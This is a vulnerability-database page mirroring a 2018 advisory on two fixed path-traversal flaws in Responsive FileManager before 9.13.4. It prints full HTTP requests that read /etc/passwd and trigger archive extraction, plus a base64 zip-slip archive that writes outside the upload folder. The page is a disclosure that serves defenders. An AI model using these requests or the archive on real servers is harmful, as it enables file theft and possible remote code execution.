Lucene search
K

Responsive FileManager 9.13.4 Path Traversal

🗓️ 23 Aug 2018 00:00:00Reported by Simon UvarovType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 44 Views

Version 9.13.4 of Responsive FileManager fixes Path Traversal vulnerability. Allows reading any file and unpacking exploit.zip leading to remote code execution

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Responsive FileManager < 9.13.4 - Directory Traversal
28 Aug 201800:00
zdt
Circl
CVE-2018-15535
27 Aug 201800:00
circl
Circl
CVE-2018-15536
27 Aug 201800:00
circl
CNVD
tecrail Responsive FileManager Path Traversal Vulnerability
27 Aug 201800:00
cnvd
CNVD
tecrail Responsive FileManager Arbitrary File Overwrite Vulnerability
27 Aug 201800:00
cnvd
Check Point Advisories
TecRail Responsive Filemanager Directory Traversal (CVE-2018-15535)
5 Jun 202000:00
checkpoint_advisories
CVE
CVE-2018-15535
24 Aug 201819:00
cve
CVE
CVE-2018-15536
24 Aug 201819:00
cve
Cvelist
CVE-2018-15535
24 Aug 201819:00
cvelist
Cvelist
CVE-2018-15536
24 Aug 201819:00
cvelist
Rows per page
`The following vulnerabilities were fixed in the version 9.13.4.  
https://responsivefilemanager.com  
  
#1 Path Traversal Allows to Read Any File  
  
Reserved CVE: CVE-2018-15535  
Discovered By: Simon Uvarov  
Vendor Status: Fixed  
  
Details:  
  
The following request allows a user to read any file on the system.  
  
GET /filemanager/ajax_calls.php?action=get_file&sub_action=preview&preview_mode=text&title=source&file=../../../../etc/passwd HTTP/1.1  
Host: 192.168.5.129  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.5.129/filemanager/dialog.php?type=0&popup=1  
X-Requested-With: XMLHttpRequest  
Cookie: last_position=%2F; PHPSESSID=na248cef3f937mtql67dvu8fk5  
Connection: close  
  
#2 Path Traversal While Upacking Archives  
  
Reserved CVE: CVE-2018-15536  
Discovered By: Simon Uvarov  
Vendor Status: Fixed  
  
The following request starts unpacking the exploit.zip archive:  
  
POST /filemanager/ajax_calls.php?action=extract HTTP/1.1  
Host: 192.168.5.129  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.5.129/filemanager/dialog.php?type=0&lang=en_EN&popup=1&crossdomain=0&relative_url=0&akey=key&fldr=&5b6d9b91535a9&1533909952983  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Content-Length: 16  
Cookie: last_position=%2F; PHPSESSID=na248cef3f937mtql67dvu8fk5  
Connection: close  
  
path=exploit.zip  
  
Bases64-encoded example of exploit.zip which creates source.txt in /tmp/ directory:  
  
UEsDBBQAAAAAALZNmkR7I19kDgAAAA4AAAAmAAAALi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdG1w  
L3NvdXJjZS50eHR1cGxvYWRzIGZvbGRlclBLAQIUAxQAAAAAALZNmkR7I19kDgAAAA4AAAAmAAAA  
AAAAAAAAAADtgQAAAAAuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi90bXAvc291cmNlLnR4dFBLBQYA  
AAAAAQABAFQAAABSAAAAAAA=  
  
It is possible to create archives containing ../../ as a part of a file path, now it's famous as ZipSlip vulnerability, but it's an old bug.  
  
It is impossible to upload .php files or .htaccess file using this method, but itas possible to create different files with "legal" extensions on a system and it may lead to remote code execution if a server runs with enough privileges, for example, to create cron jobs.  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation